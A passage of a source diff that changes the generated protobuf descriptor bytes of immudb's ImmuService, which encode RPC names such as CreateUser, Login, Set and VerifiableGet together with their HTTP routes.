0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, + 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, + 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, + 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, + 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, + 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xe8, 0x33, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, + 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, + 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, + 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, + 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, + 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, + 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, + 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, + 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, + 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, + 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, + 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, + 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, - 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, - 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, - 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, - 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, - 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, - 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, - 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, - 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, - 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, + 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, + 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, + 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, + 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, + 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, + 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, + 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, + 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, + 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, - 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, + 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, - 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, - 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, - 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, - 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, - 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, - 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, - 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, - 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, + 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, - 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, - 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, - 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, - 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, - 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, - 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, - 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, - 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, - 0x0a, 0x2f, 0x64, 